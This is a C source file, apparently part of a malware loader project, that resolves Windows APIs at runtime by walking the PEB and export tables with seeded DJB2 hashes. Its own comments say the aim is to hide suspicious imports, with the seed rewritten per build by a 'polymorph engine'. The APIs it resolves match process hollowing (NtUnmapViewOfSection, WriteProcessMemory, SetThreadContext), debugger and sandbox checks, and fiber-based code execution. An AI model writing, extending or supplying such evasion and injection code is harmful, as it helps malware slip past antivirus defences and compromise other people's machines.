Files
2026-08-27 11:03:10 -06:00

246 lines
10 KiB
C
Executable File

/**
* api_resolve.c -- PEB walking + PE export table hash resolution
*
* Resolves Win32 API addresses at runtime via DJB2 hash comparison,
* eliminating suspicious imports from the IAT. Hash seed and constants
* are patched per-build by the polymorph engine.
*/
#include <windows.h>
#include <stdint.h>
#include "api_resolve.h"
/* ── PEB structures (custom typedefs to avoid winternl.h conflicts) ── */
typedef struct _AR_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID DllBase;
LPVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} AR_LDR_DATA_TABLE_ENTRY, *PAR_LDR_DATA_TABLE_ENTRY;
typedef struct _AR_PEB_LDR_DATA {
DWORD Length;
DWORD Initialized;
LPVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
} AR_PEB_LDR_DATA, *PAR_PEB_LDR_DATA;
typedef struct _AR_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2;
#ifdef _WIN64
BYTE Reserved3[4];
#endif
LPVOID Reserved4[2];
PAR_PEB_LDR_DATA Ldr;
} AR_PEB, *PAR_PEB;
/* ── DJB2 hash seed (patched by polymorph engine) ──────────────── */
#define API_HASH_SEED 0xDEADBEEF
/* ── Global API table ──────────────────────────────────────────── */
ApiTable g_api;
/* ── Hash functions ────────────────────────────────────────────── */
static DWORD djb2_hash_wide_lower(const WCHAR *str, USHORT len_bytes) {
DWORD hash = API_HASH_SEED;
USHORT count = len_bytes / sizeof(WCHAR);
for (USHORT i = 0; i < count; i++) {
WCHAR c = str[i];
if (c >= L'A' && c <= L'Z') c += 0x20;
hash = hash * 33 + (DWORD)c;
}
return hash;
}
static DWORD djb2_hash_ascii(const char *str) {
DWORD hash = API_HASH_SEED;
while (*str) {
hash = hash * 33 + (unsigned char)*str;
str++;
}
return hash;
}
/* ── PEB walking: find module base by hash ─────────────────────── */
static void *peb_get_module(DWORD hash) {
#ifdef _WIN64
PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readgsqword(0x60))->Ldr;
#else
PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readfsdword(0x30))->Ldr;
#endif
PAR_LDR_DATA_TABLE_ENTRY first =
(PAR_LDR_DATA_TABLE_ENTRY)ldr->InMemoryOrderModuleList.Flink;
PAR_LDR_DATA_TABLE_ENTRY entry = first;
do {
if (entry->BaseDllName.Buffer) {
DWORD h = djb2_hash_wide_lower(
entry->BaseDllName.Buffer,
entry->BaseDllName.Length
);
if (h == hash) return entry->DllBase;
}
} while ((entry = (PAR_LDR_DATA_TABLE_ENTRY)
entry->InMemoryOrderModuleList.Flink) != first);
return NULL;
}
/* ── PE export table walking: find export by hash ──────────────── */
static void *peb_get_proc(void *base, DWORD hash) {
if (!base) return NULL;
LPBYTE mod = (LPBYTE)base;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)mod;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(mod + dos->e_lfanew);
IMAGE_EXPORT_DIRECTORY *exports = (IMAGE_EXPORT_DIRECTORY *)(
mod + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
);
DWORD *names = (DWORD *)(mod + exports->AddressOfNames);
WORD *ordinals = (WORD *)(mod + exports->AddressOfNameOrdinals);
DWORD *funcs = (DWORD *)(mod + exports->AddressOfFunctions);
for (DWORD i = 0; i < exports->NumberOfNames; i++) {
const char *name = (const char *)(mod + names[i]);
if (djb2_hash_ascii(name) == hash) {
return mod + funcs[ordinals[i]];
}
}
return NULL;
}
/* ── Combined resolver (internal) ──────────────────────────────── */
static void *resolve_api(DWORD mod_hash, DWORD fn_hash) {
void *mod = peb_get_module(mod_hash);
if (!mod) return NULL;
return peb_get_proc(mod, fn_hash);
}
/* ── Public: lazy resolution for one-off lookups ───────────────── */
void *api_resolve_func(DWORD mod_hash, DWORD fn_hash) {
return resolve_api(mod_hash, fn_hash);
}
/* ── Init: resolve all APIs into global table ──────────────────── */
void api_resolve_init(void) {
/* Module bases */
g_api.ntdll_base = peb_get_module(HASH_NTDLL);
g_api.kernel32_base = peb_get_module(HASH_KERNEL32);
/* ntdll */
g_api.pNtUnmapViewOfSection =
(fn_NtUnmapViewOfSection)peb_get_proc(g_api.ntdll_base, HASH_NtUnmapViewOfSection);
g_api.pNtQueryInformationProcess =
(fn_NtQueryInformationProcess)peb_get_proc(g_api.ntdll_base, HASH_NtQueryInformationProcess);
/* kernel32 — resolve LoadLibraryA first (needed for fallback loading) */
g_api.pLoadLibraryA =
(fn_LoadLibraryA)peb_get_proc(g_api.kernel32_base, HASH_LoadLibraryA);
g_api.pCreateProcessW =
(fn_CreateProcessW)peb_get_proc(g_api.kernel32_base, HASH_CreateProcessW);
g_api.pGetThreadContext =
(fn_GetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_GetThreadContext);
g_api.pSetThreadContext =
(fn_SetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_SetThreadContext);
g_api.pResumeThread =
(fn_ResumeThread)peb_get_proc(g_api.kernel32_base, HASH_ResumeThread);
g_api.pTerminateProcess =
(fn_TerminateProcess)peb_get_proc(g_api.kernel32_base, HASH_TerminateProcess);
g_api.pReadProcessMemory =
(fn_ReadProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_ReadProcessMemory);
g_api.pWriteProcessMemory =
(fn_WriteProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_WriteProcessMemory);
g_api.pVirtualAllocEx =
(fn_VirtualAllocEx)peb_get_proc(g_api.kernel32_base, HASH_VirtualAllocEx);
g_api.pVirtualAlloc =
(fn_VirtualAlloc)peb_get_proc(g_api.kernel32_base, HASH_VirtualAlloc);
g_api.pVirtualProtect =
(fn_VirtualProtect)peb_get_proc(g_api.kernel32_base, HASH_VirtualProtect);
g_api.pVirtualFree =
(fn_VirtualFree)peb_get_proc(g_api.kernel32_base, HASH_VirtualFree);
g_api.pCreateThread =
(fn_CreateThread)peb_get_proc(g_api.kernel32_base, HASH_CreateThread);
g_api.pWaitForSingleObject =
(fn_WaitForSingleObject)peb_get_proc(g_api.kernel32_base, HASH_WaitForSingleObject);
g_api.pCloseHandle =
(fn_CloseHandle)peb_get_proc(g_api.kernel32_base, HASH_CloseHandle);
g_api.pExitProcess =
(fn_ExitProcess)peb_get_proc(g_api.kernel32_base, HASH_ExitProcess);
g_api.pSleep =
(fn_Sleep)peb_get_proc(g_api.kernel32_base, HASH_Sleep);
g_api.pGetTickCount64 =
(fn_GetTickCount64)peb_get_proc(g_api.kernel32_base, HASH_GetTickCount64);
g_api.pGlobalMemoryStatusEx =
(fn_GlobalMemoryStatusEx)peb_get_proc(g_api.kernel32_base, HASH_GlobalMemoryStatusEx);
g_api.pGetSystemInfo =
(fn_GetSystemInfo)peb_get_proc(g_api.kernel32_base, HASH_GetSystemInfo);
g_api.pIsDebuggerPresent =
(fn_IsDebuggerPresent)peb_get_proc(g_api.kernel32_base, HASH_IsDebuggerPresent);
g_api.pGetCurrentProcess =
(fn_GetCurrentProcess)peb_get_proc(g_api.kernel32_base, HASH_GetCurrentProcess);
g_api.pQueryPerformanceFrequency =
(fn_QueryPerformanceFrequency)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceFrequency);
g_api.pQueryPerformanceCounter =
(fn_QueryPerformanceCounter)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceCounter);
g_api.pGetSystemDirectoryA =
(fn_GetSystemDirectoryA)peb_get_proc(g_api.kernel32_base, HASH_GetSystemDirectoryA);
g_api.plstrcatA =
(fn_lstrcatA)peb_get_proc(g_api.kernel32_base, HASH_lstrcatA);
g_api.pCreateFileA =
(fn_CreateFileA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileA);
g_api.pGetFileSize =
(fn_GetFileSize)peb_get_proc(g_api.kernel32_base, HASH_GetFileSize);
g_api.pCreateFileMappingA =
(fn_CreateFileMappingA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileMappingA);
g_api.pMapViewOfFile =
(fn_MapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_MapViewOfFile);
g_api.pUnmapViewOfFile =
(fn_UnmapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_UnmapViewOfFile);
g_api.pConvertThreadToFiber =
(fn_ConvertThreadToFiber)peb_get_proc(g_api.kernel32_base, HASH_ConvertThreadToFiber);
g_api.pCreateFiber =
(fn_CreateFiber)peb_get_proc(g_api.kernel32_base, HASH_CreateFiber);
g_api.pSwitchToFiber =
(fn_SwitchToFiber)peb_get_proc(g_api.kernel32_base, HASH_SwitchToFiber);
g_api.pDeleteFiber =
(fn_DeleteFiber)peb_get_proc(g_api.kernel32_base, HASH_DeleteFiber);
g_api.pFlushInstructionCache =
(fn_FlushInstructionCache)peb_get_proc(g_api.kernel32_base, HASH_FlushInstructionCache);
/* advapi32 — may not be loaded yet, use LoadLibraryA fallback */
void *advapi32 = peb_get_module(HASH_ADVAPI32);
if (!advapi32 && g_api.pLoadLibraryA) {
advapi32 = (void *)g_api.pLoadLibraryA("advapi32.dll");
}
g_api.pRegOpenKeyExA =
(fn_RegOpenKeyExA)peb_get_proc(advapi32, HASH_RegOpenKeyExA);
g_api.pRegCloseKey =
(fn_RegCloseKey)peb_get_proc(advapi32, HASH_RegCloseKey);
/* user32 — may not be loaded yet, use LoadLibraryA fallback */
void *user32 = peb_get_module(HASH_USER32);
if (!user32 && g_api.pLoadLibraryA) {
user32 = (void *)g_api.pLoadLibraryA("user32.dll");
}
g_api.pGetCursorPos =
(fn_GetCursorPos)peb_get_proc(user32, HASH_GetCursorPos);
}